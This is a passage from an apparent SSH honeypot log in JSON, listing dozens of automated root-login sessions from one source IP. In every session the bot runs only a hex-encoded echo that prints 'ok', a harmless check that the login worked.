  "started_at": "2026-08-23T08:44:17.731056+00:00",
  "ended_at": "2026-08-23T08:44:18.739831+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9118267b-af54-4d71-94e9-c4efbfd236f1",
  "name": "spirited-sleepy-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:15.144406+00:00",
  "ended_at": "2026-08-23T08:44:16.948537+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c030bd61-d6f0-430a-a9dc-7c1faf0542f9",
  "name": "rambling-thrifty-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:13.005792+00:00",
  "ended_at": "2026-08-23T08:44:14.391519+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67bbface-aaf7-4f3a-8c94-4fc55c8b88a2",
  "name": "feral-vaulted-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57628,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:10.718211+00:00",
  "ended_at": "2026-08-23T08:44:12.241601+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3b9f3e2f-fafd-4fb3-a9c6-009665bf4756",
  "name": "indigo-quartz-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:09.181834+00:00",
  "ended_at": "2026-08-23T08:44:10.096153+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "22f558e3-1a42-4945-8a10-1be407152e10",
  "name": "wry-mindful-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:07.356026+00:00",
  "ended_at": "2026-08-23T08:44:08.509652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9af48b77-d5dd-47cf-9b76-3e093697b942",
  "name": "frugal-knotted-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58666,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:44:05.174293+00:00",
  "ended_at": "2026-08-23T08:44:06.700745+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f681916b-0d7d-480d-914c-96b3a6b1dea6",
  "name": "seaward-tender-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:59.009057+00:00",
  "ended_at": "2026-08-23T08:44:04.370537+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d3bcafa2-1efb-40b0-bc39-5d10aa3b1ce8",
  "name": "jolly-loyal-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:57.320897+00:00",
  "ended_at": "2026-08-23T08:43:58.288797+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "81b9982b-4969-4779-b8b2-04de30da019e",
  "name": "mindful-courtly-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:54.882150+00:00",
  "ended_at": "2026-08-23T08:43:56.675653+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0446bdf-35a5-41c7-b50a-af607b0ce334",
  "name": "prairie-snowy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:52.542784+00:00",
  "ended_at": "2026-08-23T08:43:54.134841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f477d4a8-498a-47d3-8676-c1e764ff9ab6",
  "name": "obsidian-hardy-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:49.474727+00:00",
  "ended_at": "2026-08-23T08:43:51.698723+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca3c2869-89fe-48ab-8a52-61f3fa4214dc",
  "name": "dusky-proud-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:47.687121+00:00",
  "ended_at": "2026-08-23T08:43:48.626892+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e970302e-e6f4-448b-bc6e-4626c00769c9",
  "name": "sterling-woven-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:45.819647+00:00",
  "ended_at": "2026-08-23T08:43:46.915397+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80a71bc4-a340-4bdb-b7b6-6171f41e3888",
  "name": "electric-sandy-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:42.897869+00:00",
  "ended_at": "2026-08-23T08:43:45.075384+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "417d7b5c-396d-4bd1-bc18-8464c60d4bf1",
  "name": "buoyant-barren-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51074,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:40.403035+00:00",
  "ended_at": "2026-08-23T08:43:42.246813+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba2bafbe-ec90-4331-99c9-cbd362a11678",
  "name": "fringed-crimson-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:38.672093+00:00",
  "ended_at": "2026-08-23T08:43:39.705629+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07cc4a76-9a71-487c-80f4-568fcc82f02e",
  "name": "lonesome-glassy-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38140,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:35.885249+00:00",
  "ended_at": "2026-08-23T08:43:38.049046+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa6421a8-7684-42d1-bb8b-8e22ac44427d",
  "name": "icy-frank-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38134,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:33.856190+00:00",
  "ended_at": "2026-08-23T08:43:35.136666+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2311dcfe-3ced-46f4-9717-f9eb7b67516e",
  "name": "gentle-murky-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:32.154507+00:00",
  "ended_at": "2026-08-23T08:43:33.049030+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1aa01aca-0248-4ddd-868e-f7cc37cc82bd",
  "name": "murky-zealous-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:29.569853+00:00",
  "ended_at": "2026-08-23T08:43:31.348568+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5b2d6072-4af6-4bf7-998b-8301c60e1b0e",
  "name": "hazel-hearty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40288,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:26.780786+00:00",
  "ended_at": "2026-08-23T08:43:28.800049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7dadd432-3dce-4122-b3d9-0251d86e3cd6",
  "name": "lawful-blithe-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:24.142048+00:00",
  "ended_at": "2026-08-23T08:43:26.030899+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4bb37a87-88e5-4ffb-a419-24c5dd7b6959",
  "name": "vigilant-solemn-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:22.077034+00:00",
  "ended_at": "2026-08-23T08:43:23.433790+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5aa536fb-f202-4ec1-a4af-74509417a61f",
  "name": "muted-sunlit-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:19.436027+00:00",
  "ended_at": "2026-08-23T08:43:21.441018+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "83d9a57a-d14a-42cc-bb1d-edc5f6b31869",
  "name": "electric-blithe-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:17.424117+00:00",
  "ended_at": "2026-08-23T08:43:18.722662+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e2896fa-611e-4bdf-96a9-be37632278f5",
  "name": "pleasant-pristine-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:15.247468+00:00",
  "ended_at": "2026-08-23T08:43:16.596042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "69c15d69-408e-4d81-8524-4ce03b169d74",
  "name": "sooty-salty-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:13.098921+00:00",
  "ended_at": "2026-08-23T08:43:14.432009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fe4b0552-a20c-45c0-be46-8e5fa56fa6f8",
  "name": "kindly-ivory-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:10.264770+00:00",
  "ended_at": "2026-08-23T08:43:12.380286+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f4976e90-78b0-4ae8-a7da-f16ecb40b59f",
  "name": "ancient-primal-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:08.055268+00:00",
  "ended_at": "2026-08-23T08:43:09.587448+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "69836dc1-ef45-4a3c-988f-d3098d9b9478",
  "name": "proud-wistful-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:05.180012+00:00",
  "ended_at": "2026-08-23T08:43:07.266603+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f11ad736-7833-435c-a749-0f022484c14b",
  "name": "granite-crisp-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:02.839279+00:00",
  "ended_at": "2026-08-23T08:43:04.378224+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b24d5a7-3cea-4180-b09e-2d1f68357a85",
  "name": "weathered-feral-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:43:00.834163+00:00",
  "ended_at": "2026-08-23T08:43:02.171583+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d88cfd7c-140c-4304-ae2f-c2f130e5330e",
  "name": "frank-granite-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:58.210757+00:00",
  "ended_at": "2026-08-23T08:43:00.178498+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "202b4e65-80e1-40a5-84b6-d062ccae7122",
  "name": "flinty-diligent-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:56.233295+00:00",
  "ended_at": "2026-08-23T08:42:57.413840+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11fd401e-1f9b-4168-88c1-2c46d9adab30",
  "name": "inland-quartz-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:53.601708+00:00",
  "ended_at": "2026-08-23T08:42:55.552518+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66816d06-505a-4a96-9671-362c5cc3e636",
  "name": "restless-early-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:47.161669+00:00",
  "ended_at": "2026-08-23T08:42:52.900406+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c33fcf34-4bd6-4fd9-8037-f998a24d726a",
  "name": "autumn-thorny-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:44.328869+00:00",
  "ended_at": "2026-08-23T08:42:46.464856+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f6e97fbe-94b2-47e2-9a32-072c6065544e",
  "name": "marbled-gloomy-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:42.383001+00:00",
  "ended_at": "2026-08-23T08:42:43.511711+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52cd035e-6d71-4b05-964b-d05de4267903",
  "name": "dewy-sullen-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:40.424294+00:00",
  "ended_at": "2026-08-23T08:42:41.669882+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e7640a16-ef2b-4260-adf5-3bdf9bef327a",
  "name": "hidden-fabled-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36832,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:37.877818+00:00",
  "ended_at": "2026-08-23T08:42:39.711422+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "25771287-4126-46c6-873e-3565c87aa11e",
  "name": "valiant-crisp-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:34.880704+00:00",
  "ended_at": "2026-08-23T08:42:37.146200+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c4d27924-0064-4f5b-b127-24d01e90c92d",
  "name": "crimson-nameless-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:33.053955+00:00",
  "ended_at": "2026-08-23T08:42:34.190269+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a0b63f6a-3935-45c6-91ff-21ff14412ed2",
  "name": "lunar-gallant-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:30.699511+00:00",
  "ended_at": "2026-08-23T08:42:32.436005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aef25727-7fdc-46ae-be75-9a5a5d97d3df",
  "name": "cosmic-muted-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:28.963956+00:00",
  "ended_at": "2026-08-23T08:42:29.921019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fb990bca-a9b7-4511-b71c-b1e6ce9149a7",
  "name": "alpine-stormy-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43712,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:26.922957+00:00",
  "ended_at": "2026-08-23T08:42:28.279561+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4408af2d-c9a5-42ea-90b6-dff42cc9a720",
  "name": "civil-vivid-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:24.949228+00:00",
  "ended_at": "2026-08-23T08:42:26.190827+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4dfe8eee-14cd-4fa5-b4a9-2e1b232de199",
  "name": "bitter-grassy-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:21.995862+00:00",
  "ended_at": "2026-08-23T08:42:24.168924+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2db135e7-5d0a-4b99-a877-d28698041f81",
  "name": "sturdy-lofty-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:19.085798+00:00",
  "ended_at": "2026-08-23T08:42:21.329770+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ef2974b5-7456-45b8-8fc3-a128d939dfc9",
  "name": "crisp-quaint-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:42:16.408762+00:00",
